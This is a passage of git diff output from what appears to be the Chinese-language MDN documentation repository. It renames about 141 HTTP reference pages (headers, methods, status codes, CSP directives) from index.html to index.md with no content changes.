     .../web/http/headers/transfer-encoding/{index.html => index.md}   | 0
     .../headers/upgrade-insecure-requests/{index.html => index.md}    | 0
     .../web/http/headers/user-agent/firefox/{index.html => index.md}  | 0
     files/zh-cn/web/http/headers/user-agent/{index.html => index.md}  | 0
     files/zh-cn/web/http/headers/vary/{index.html => index.md}        | 0
     files/zh-cn/web/http/headers/via/{index.html => index.md}         | 0
     files/zh-cn/web/http/headers/warning/{index.html => index.md}     | 0
     .../web/http/headers/www-authenticate/{index.html => index.md}    | 0
     .../http/headers/x-content-type-options/{index.html => index.md}  | 0
     .../http/headers/x-dns-prefetch-control/{index.html => index.md}  | 0
     .../web/http/headers/x-forwarded-for/{index.html => index.md}     | 0
     .../web/http/headers/x-forwarded-host/{index.html => index.md}    | 0
     .../web/http/headers/x-forwarded-proto/{index.html => index.md}   | 0
     .../web/http/headers/x-xss-protection/{index.html => index.md}    | 0
     files/zh-cn/web/http/{index.html => index.md}                     | 0
     .../zh-cn/web/http/link_prefetching_faq/{index.html => index.md}  | 0
     files/zh-cn/web/http/messages/{index.html => index.md}            | 0
     files/zh-cn/web/http/methods/connect/{index.html => index.md}     | 0
     files/zh-cn/web/http/methods/delete/{index.html => index.md}      | 0
     files/zh-cn/web/http/methods/get/{index.html => index.md}         | 0
     files/zh-cn/web/http/methods/head/{index.html => index.md}        | 0
     files/zh-cn/web/http/methods/{index.html => index.md}             | 0
     files/zh-cn/web/http/methods/options/{index.html => index.md}     | 0
     files/zh-cn/web/http/methods/patch/{index.html => index.md}       | 0
     files/zh-cn/web/http/methods/post/{index.html => index.md}        | 0
     files/zh-cn/web/http/methods/put/{index.html => index.md}         | 0
     files/zh-cn/web/http/methods/trace/{index.html => index.md}       | 0
     files/zh-cn/web/http/overview/{index.html => index.md}            | 0
     .../web/http/protocol_upgrade_mechanism/{index.html => index.md}  | 0
     .../proxy_auto-configuration_pac_file/{index.html => index.md}    | 0
     files/zh-cn/web/http/redirections/{index.html => index.md}        | 0
     .../http/resources_and_specifications/{index.html => index.md}    | 0
     files/zh-cn/web/http/session/{index.html => index.md}             | 0
     files/zh-cn/web/http/status/206/{index.html => index.md}          | 0
     files/zh-cn/web/http/status/304/{index.html => index.md}          | 0
     files/zh-cn/web/http/status/308/{index.html => index.md}          | 0
     files/zh-cn/web/http/status/410/{index.html => index.md}          | 0
     files/zh-cn/web/http/status/422/{index.html => index.md}          | 0
     files/zh-cn/web/http/status/501/{index.html => index.md}          | 0
     141 files changed, 0 insertions(+), 0 deletions(-)
     rename files/zh-cn/web/http/authentication/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/basics_of_http/choosing_between_www_and_non-www_urls/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/basics_of_http/evolution_of_http/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/basics_of_http/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/basics_of_http/mime_types/common_types/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/basics_of_http/mime_types/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/browser_detection_using_the_user_agent/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/caching/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/compression/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/configuring_servers_for_ogg_media/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/connection_management_in_http_1.x/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/content_negotiation/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/cookies/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/cors/errors/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/accept-ch-lifetime/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/accept-ch/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/accept-charset/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/accept-encoding/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/accept-language/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/accept-patch/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/accept-ranges/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/accept/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/access-control-allow-credentials/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/access-control-allow-headers/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/access-control-allow-methods/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/access-control-allow-origin/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/access-control-expose-headers/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/access-control-max-age/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/access-control-request-headers/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/access-control-request-method/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/age/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/allow/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/alt-svc/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/authorization/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/cache-control/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/clear-site-data/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/connection/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-disposition/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-language/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-length/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-location/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-range/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-security-policy-report-only/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-security-policy/base-uri/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-security-policy/child-src/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-security-policy/connect-src/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-security-policy/default-src/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-security-policy/font-src/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-security-policy/form-action/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-security-policy/frame-ancestors/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-security-policy/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-security-policy/report-to/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-security-policy/sandbox/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-security-policy/script-src-elem/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-security-policy/worker-src/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/content-type/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/cross-origin-embedder-policy/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/cross-origin-resource-policy/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/date/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/device-memory/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/digest/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/dnt/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/dpr/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/early-data/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/etag/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/expect/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/expires/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/feature-policy/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/forwarded/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/from/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/host/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/if-match/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/if-modified-since/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/if-none-match/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/if-range/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/if-unmodified-since/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/keep-alive/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/large-allocation/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/last-modified/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/link/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/location/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/pragma/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/proxy-authenticate/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/proxy-authorization/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/range/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/referer/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/referrer-policy/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/retry-after/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/save-data/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/sec-fetch-mode/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/sec-fetch-site/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/sec-fetch-user/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/server-timing/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/server/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/sourcemap/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/strict-transport-security/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/te/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/timing-allow-origin/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/tk/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/trailer/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/transfer-encoding/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/upgrade-insecure-requests/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/user-agent/firefox/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/user-agent/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/vary/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/via/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/warning/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/www-authenticate/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/x-content-type-options/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/x-dns-prefetch-control/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/x-forwarded-for/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/x-forwarded-host/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/x-forwarded-proto/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/headers/x-xss-protection/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/link_prefetching_faq/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/messages/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/methods/connect/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/methods/delete/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/methods/get/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/methods/head/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/methods/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/methods/options/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/methods/patch/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/methods/post/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/methods/put/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/methods/trace/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/overview/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/protocol_upgrade_mechanism/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/redirections/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/resources_and_specifications/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/session/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/status/206/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/status/304/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/status/308/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/status/410/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/status/422/{index.html => index.md} (100%)
     rename files/zh-cn/web/http/status/501/{index.html => index.md} (100%)
    
    diff --git a/files/zh-cn/web/http/authentication/index.html b/files/zh-cn/web/http/authentication/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/authentication/index.html
    rename to files/zh-cn/web/http/authentication/index.md
    diff --git a/files/zh-cn/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html b/files/zh-cn/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html
    rename to files/zh-cn/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md
    diff --git a/files/zh-cn/web/http/basics_of_http/evolution_of_http/index.html b/files/zh-cn/web/http/basics_of_http/evolution_of_http/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/basics_of_http/evolution_of_http/index.html
    rename to files/zh-cn/web/http/basics_of_http/evolution_of_http/index.md
    diff --git a/files/zh-cn/web/http/basics_of_http/index.html b/files/zh-cn/web/http/basics_of_http/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/basics_of_http/index.html
    rename to files/zh-cn/web/http/basics_of_http/index.md
    diff --git a/files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.html b/files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.html
    rename to files/zh-cn/web/http/basics_of_http/mime_types/common_types/index.md
    diff --git a/files/zh-cn/web/http/basics_of_http/mime_types/index.html b/files/zh-cn/web/http/basics_of_http/mime_types/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/basics_of_http/mime_types/index.html
    rename to files/zh-cn/web/http/basics_of_http/mime_types/index.md
    diff --git a/files/zh-cn/web/http/browser_detection_using_the_user_agent/index.html b/files/zh-cn/web/http/browser_detection_using_the_user_agent/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/browser_detection_using_the_user_agent/index.html
    rename to files/zh-cn/web/http/browser_detection_using_the_user_agent/index.md
    diff --git a/files/zh-cn/web/http/caching/index.html b/files/zh-cn/web/http/caching/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/caching/index.html
    rename to files/zh-cn/web/http/caching/index.md
    diff --git a/files/zh-cn/web/http/compression/index.html b/files/zh-cn/web/http/compression/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/compression/index.html
    rename to files/zh-cn/web/http/compression/index.md
    diff --git a/files/zh-cn/web/http/configuring_servers_for_ogg_media/index.html b/files/zh-cn/web/http/configuring_servers_for_ogg_media/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/configuring_servers_for_ogg_media/index.html
    rename to files/zh-cn/web/http/configuring_servers_for_ogg_media/index.md
    diff --git a/files/zh-cn/web/http/connection_management_in_http_1.x/index.html b/files/zh-cn/web/http/connection_management_in_http_1.x/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/connection_management_in_http_1.x/index.html
    rename to files/zh-cn/web/http/connection_management_in_http_1.x/index.md
    diff --git a/files/zh-cn/web/http/content_negotiation/index.html b/files/zh-cn/web/http/content_negotiation/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/content_negotiation/index.html
    rename to files/zh-cn/web/http/content_negotiation/index.md
    diff --git a/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html
    rename to files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.md
    diff --git a/files/zh-cn/web/http/cookies/index.html b/files/zh-cn/web/http/cookies/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/cookies/index.html
    rename to files/zh-cn/web/http/cookies/index.md
    diff --git a/files/zh-cn/web/http/cors/errors/index.html b/files/zh-cn/web/http/cors/errors/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/cors/errors/index.html
    rename to files/zh-cn/web/http/cors/errors/index.md
    diff --git a/files/zh-cn/web/http/headers/accept-ch-lifetime/index.html b/files/zh-cn/web/http/headers/accept-ch-lifetime/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/accept-ch-lifetime/index.html
    rename to files/zh-cn/web/http/headers/accept-ch-lifetime/index.md
    diff --git a/files/zh-cn/web/http/headers/accept-ch/index.html b/files/zh-cn/web/http/headers/accept-ch/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/accept-ch/index.html
    rename to files/zh-cn/web/http/headers/accept-ch/index.md
    diff --git a/files/zh-cn/web/http/headers/accept-charset/index.html b/files/zh-cn/web/http/headers/accept-charset/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/accept-charset/index.html
    rename to files/zh-cn/web/http/headers/accept-charset/index.md
    diff --git a/files/zh-cn/web/http/headers/accept-encoding/index.html b/files/zh-cn/web/http/headers/accept-encoding/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/accept-encoding/index.html
    rename to files/zh-cn/web/http/headers/accept-encoding/index.md
    diff --git a/files/zh-cn/web/http/headers/accept-language/index.html b/files/zh-cn/web/http/headers/accept-language/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/accept-language/index.html
    rename to files/zh-cn/web/http/headers/accept-language/index.md
    diff --git a/files/zh-cn/web/http/headers/accept-patch/index.html b/files/zh-cn/web/http/headers/accept-patch/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/accept-patch/index.html
    rename to files/zh-cn/web/http/headers/accept-patch/index.md
    diff --git a/files/zh-cn/web/http/headers/accept-ranges/index.html b/files/zh-cn/web/http/headers/accept-ranges/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/accept-ranges/index.html
    rename to files/zh-cn/web/http/headers/accept-ranges/index.md
    diff --git a/files/zh-cn/web/http/headers/accept/index.html b/files/zh-cn/web/http/headers/accept/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/accept/index.html
    rename to files/zh-cn/web/http/headers/accept/index.md
    diff --git a/files/zh-cn/web/http/headers/access-control-allow-credentials/index.html b/files/zh-cn/web/http/headers/access-control-allow-credentials/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/access-control-allow-credentials/index.html
    rename to files/zh-cn/web/http/headers/access-control-allow-credentials/index.md
    diff --git a/files/zh-cn/web/http/headers/access-control-allow-headers/index.html b/files/zh-cn/web/http/headers/access-control-allow-headers/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/access-control-allow-headers/index.html
    rename to files/zh-cn/web/http/headers/access-control-allow-headers/index.md
    diff --git a/files/zh-cn/web/http/headers/access-control-allow-methods/index.html b/files/zh-cn/web/http/headers/access-control-allow-methods/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/access-control-allow-methods/index.html
    rename to files/zh-cn/web/http/headers/access-control-allow-methods/index.md
    diff --git a/files/zh-cn/web/http/headers/access-control-allow-origin/index.html b/files/zh-cn/web/http/headers/access-control-allow-origin/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/access-control-allow-origin/index.html
    rename to files/zh-cn/web/http/headers/access-control-allow-origin/index.md
    diff --git a/files/zh-cn/web/http/headers/access-control-expose-headers/index.html b/files/zh-cn/web/http/headers/access-control-expose-headers/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/access-control-expose-headers/index.html
    rename to files/zh-cn/web/http/headers/access-control-expose-headers/index.md
    diff --git a/files/zh-cn/web/http/headers/access-control-max-age/index.html b/files/zh-cn/web/http/headers/access-control-max-age/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/access-control-max-age/index.html
    rename to files/zh-cn/web/http/headers/access-control-max-age/index.md
    diff --git a/files/zh-cn/web/http/headers/access-control-request-headers/index.html b/files/zh-cn/web/http/headers/access-control-request-headers/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/access-control-request-headers/index.html
    rename to files/zh-cn/web/http/headers/access-control-request-headers/index.md
    diff --git a/files/zh-cn/web/http/headers/access-control-request-method/index.html b/files/zh-cn/web/http/headers/access-control-request-method/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/access-control-request-method/index.html
    rename to files/zh-cn/web/http/headers/access-control-request-method/index.md
    diff --git a/files/zh-cn/web/http/headers/age/index.html b/files/zh-cn/web/http/headers/age/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/age/index.html
    rename to files/zh-cn/web/http/headers/age/index.md
    diff --git a/files/zh-cn/web/http/headers/allow/index.html b/files/zh-cn/web/http/headers/allow/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/allow/index.html
    rename to files/zh-cn/web/http/headers/allow/index.md
    diff --git a/files/zh-cn/web/http/headers/alt-svc/index.html b/files/zh-cn/web/http/headers/alt-svc/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/alt-svc/index.html
    rename to files/zh-cn/web/http/headers/alt-svc/index.md
    diff --git a/files/zh-cn/web/http/headers/authorization/index.html b/files/zh-cn/web/http/headers/authorization/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/authorization/index.html
    rename to files/zh-cn/web/http/headers/authorization/index.md
    diff --git a/files/zh-cn/web/http/headers/cache-control/index.html b/files/zh-cn/web/http/headers/cache-control/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/cache-control/index.html
    rename to files/zh-cn/web/http/headers/cache-control/index.md
    diff --git a/files/zh-cn/web/http/headers/clear-site-data/index.html b/files/zh-cn/web/http/headers/clear-site-data/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/clear-site-data/index.html
    rename to files/zh-cn/web/http/headers/clear-site-data/index.md
    diff --git a/files/zh-cn/web/http/headers/connection/index.html b/files/zh-cn/web/http/headers/connection/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/connection/index.html
    rename to files/zh-cn/web/http/headers/connection/index.md
    diff --git a/files/zh-cn/web/http/headers/content-disposition/index.html b/files/zh-cn/web/http/headers/content-disposition/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-disposition/index.html
    rename to files/zh-cn/web/http/headers/content-disposition/index.md
    diff --git a/files/zh-cn/web/http/headers/content-language/index.html b/files/zh-cn/web/http/headers/content-language/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-language/index.html
    rename to files/zh-cn/web/http/headers/content-language/index.md
    diff --git a/files/zh-cn/web/http/headers/content-length/index.html b/files/zh-cn/web/http/headers/content-length/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-length/index.html
    rename to files/zh-cn/web/http/headers/content-length/index.md
    diff --git a/files/zh-cn/web/http/headers/content-location/index.html b/files/zh-cn/web/http/headers/content-location/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-location/index.html
    rename to files/zh-cn/web/http/headers/content-location/index.md
    diff --git a/files/zh-cn/web/http/headers/content-range/index.html b/files/zh-cn/web/http/headers/content-range/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-range/index.html
    rename to files/zh-cn/web/http/headers/content-range/index.md
    diff --git a/files/zh-cn/web/http/headers/content-security-policy-report-only/index.html b/files/zh-cn/web/http/headers/content-security-policy-report-only/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-security-policy-report-only/index.html
    rename to files/zh-cn/web/http/headers/content-security-policy-report-only/index.md
    diff --git a/files/zh-cn/web/http/headers/content-security-policy/base-uri/index.html b/files/zh-cn/web/http/headers/content-security-policy/base-uri/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-security-policy/base-uri/index.html
    rename to files/zh-cn/web/http/headers/content-security-policy/base-uri/index.md
    diff --git a/files/zh-cn/web/http/headers/content-security-policy/child-src/index.html b/files/zh-cn/web/http/headers/content-security-policy/child-src/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-security-policy/child-src/index.html
    rename to files/zh-cn/web/http/headers/content-security-policy/child-src/index.md
    diff --git a/files/zh-cn/web/http/headers/content-security-policy/connect-src/index.html b/files/zh-cn/web/http/headers/content-security-policy/connect-src/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-security-policy/connect-src/index.html
    rename to files/zh-cn/web/http/headers/content-security-policy/connect-src/index.md
    diff --git a/files/zh-cn/web/http/headers/content-security-policy/default-src/index.html b/files/zh-cn/web/http/headers/content-security-policy/default-src/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-security-policy/default-src/index.html
    rename to files/zh-cn/web/http/headers/content-security-policy/default-src/index.md
    diff --git a/files/zh-cn/web/http/headers/content-security-policy/font-src/index.html b/files/zh-cn/web/http/headers/content-security-policy/font-src/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-security-policy/font-src/index.html
    rename to files/zh-cn/web/http/headers/content-security-policy/font-src/index.md
    diff --git a/files/zh-cn/web/http/headers/content-security-policy/form-action/index.html b/files/zh-cn/web/http/headers/content-security-policy/form-action/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-security-policy/form-action/index.html
    rename to files/zh-cn/web/http/headers/content-security-policy/form-action/index.md
    diff --git a/files/zh-cn/web/http/headers/content-security-policy/frame-ancestors/index.html b/files/zh-cn/web/http/headers/content-security-policy/frame-ancestors/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-security-policy/frame-ancestors/index.html
    rename to files/zh-cn/web/http/headers/content-security-policy/frame-ancestors/index.md
    diff --git a/files/zh-cn/web/http/headers/content-security-policy/index.html b/files/zh-cn/web/http/headers/content-security-policy/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-security-policy/index.html
    rename to files/zh-cn/web/http/headers/content-security-policy/index.md
    diff --git a/files/zh-cn/web/http/headers/content-security-policy/report-to/index.html b/files/zh-cn/web/http/headers/content-security-policy/report-to/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-security-policy/report-to/index.html
    rename to files/zh-cn/web/http/headers/content-security-policy/report-to/index.md
    diff --git a/files/zh-cn/web/http/headers/content-security-policy/sandbox/index.html b/files/zh-cn/web/http/headers/content-security-policy/sandbox/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-security-policy/sandbox/index.html
    rename to files/zh-cn/web/http/headers/content-security-policy/sandbox/index.md
    diff --git a/files/zh-cn/web/http/headers/content-security-policy/script-src-elem/index.html b/files/zh-cn/web/http/headers/content-security-policy/script-src-elem/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-security-policy/script-src-elem/index.html
    rename to files/zh-cn/web/http/headers/content-security-policy/script-src-elem/index.md
    diff --git a/files/zh-cn/web/http/headers/content-security-policy/worker-src/index.html b/files/zh-cn/web/http/headers/content-security-policy/worker-src/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-security-policy/worker-src/index.html
    rename to files/zh-cn/web/http/headers/content-security-policy/worker-src/index.md
    diff --git a/files/zh-cn/web/http/headers/content-type/index.html b/files/zh-cn/web/http/headers/content-type/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/content-type/index.html
    rename to files/zh-cn/web/http/headers/content-type/index.md
    diff --git a/files/zh-cn/web/http/headers/cross-origin-embedder-policy/index.html b/files/zh-cn/web/http/headers/cross-origin-embedder-policy/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/cross-origin-embedder-policy/index.html
    rename to files/zh-cn/web/http/headers/cross-origin-embedder-policy/index.md
    diff --git a/files/zh-cn/web/http/headers/cross-origin-resource-policy/index.html b/files/zh-cn/web/http/headers/cross-origin-resource-policy/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/cross-origin-resource-policy/index.html
    rename to files/zh-cn/web/http/headers/cross-origin-resource-policy/index.md
    diff --git a/files/zh-cn/web/http/headers/date/index.html b/files/zh-cn/web/http/headers/date/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/date/index.html
    rename to files/zh-cn/web/http/headers/date/index.md
    diff --git a/files/zh-cn/web/http/headers/device-memory/index.html b/files/zh-cn/web/http/headers/device-memory/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/device-memory/index.html
    rename to files/zh-cn/web/http/headers/device-memory/index.md
    diff --git a/files/zh-cn/web/http/headers/digest/index.html b/files/zh-cn/web/http/headers/digest/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/digest/index.html
    rename to files/zh-cn/web/http/headers/digest/index.md
    diff --git a/files/zh-cn/web/http/headers/dnt/index.html b/files/zh-cn/web/http/headers/dnt/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/dnt/index.html
    rename to files/zh-cn/web/http/headers/dnt/index.md
